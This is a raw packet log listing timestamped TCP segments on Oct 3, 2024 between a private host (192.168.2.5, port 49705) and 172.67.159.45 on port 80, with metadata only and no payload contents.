Oct 3, 2024 05:02:58.593511105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593519926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593539953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593553066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593556881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593605995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593894958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593926907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593952894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593960047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.593971014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.593992949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594014883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594023943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594043970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594055891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594072104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594089031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594108105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594121933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594141960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594156027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594177961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594187021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594197989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594219923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594242096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594253063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594269991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594285965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594302893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594317913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594340086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594351053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594362974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594383955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594404936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594434023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594791889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594827890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594850063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594861031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594872952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594893932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594913960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594926119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594944954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594958067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.594973087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.594991922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595014095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595024109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595036983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595057011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595082998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595088959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595103979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595122099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595139980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595155001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595176935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595187902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595199108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595221043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595243931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595254898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595272064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595288038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595308065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595344067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595671892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595705986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595731020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595738888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595753908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595772982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595794916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595805883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595817089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595856905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595874071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595906973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595927000 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595940113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595954895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.595973015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.595990896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596008062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596028090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596056938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596183062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596245050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596271038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596302032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596335888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596355915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596381903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596414089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596434116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596446991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596462011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596481085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596499920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596537113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596585989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596618891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596641064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596662998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596669912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596702099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596724987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596735001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596748114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596769094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.596812963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.596812963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597310066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597362041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597369909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597394943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597418070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597440958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597445965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597479105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597500086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597512007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597522974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597544909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597565889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597589016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597596884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597634077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597651005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597666979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597700119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597717047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597717047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597734928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597744942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597768068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597791910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597801924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597815037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597834110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597852945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597867012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597887039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597899914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597913980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597934008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597949982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.597965956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.597994089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.598014116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.598033905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.598093033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.598129034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.598164082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.598186016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.598197937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.598207951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.598249912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684046984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684098005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684133053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684165955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684200048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684233904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684269905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684331894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684333086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684333086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684333086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684333086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684333086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684333086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684791088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684861898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684897900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684931040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684966087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684993982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684999943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.684994936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684994936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.684994936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685055017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685075045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685075045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685089111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685103893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685122967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685153008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685157061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685170889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685194969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685209990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685261965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685312986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685345888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685380936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685431957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685465097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685483932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685483932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685483932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685483932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685497999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685530901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685563087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685564041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685563087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685590029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685602903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685611963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685636044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685656071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685686111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685781956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685837984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.685947895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.685981035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686003923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686019897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686038017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686053038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686065912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686086893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686105967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686117887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686134100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686151028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686172962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686183929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686197042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686217070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686233044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686249971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686271906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686294079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686542988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686574936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686598063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686606884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686621904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686640978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686662912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686674118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686685085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686707973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686727047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686739922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686759949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686793089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686814070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686903954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686922073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686935902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686964035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.686970949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.686988115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687004089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687019110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687036991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687051058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687069893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687087059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687103033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687124968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687134981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687146902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687186003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687484026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687519073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687544107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687551022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687565088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687583923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687603951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687617064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687639952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687649965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687664986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687683105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687705994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687716007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687740088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687748909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687762976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687783957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687798977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687817097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687838078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687868118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687887907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687921047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687938929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687953949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.687974930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.687987089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688004017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688019991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688039064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688052893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688072920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688101053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688429117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688463926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688482046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688498020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688517094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688530922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688610077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688610077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688723087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688755035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688776970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688790083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688822031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688823938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688848972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688858032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688872099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688891888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.688911915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688941956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.688966990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689017057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689023018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689050913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689068079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.689085007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.689105988 CEST	49705	80	192.168.2.5	172.67.159.45
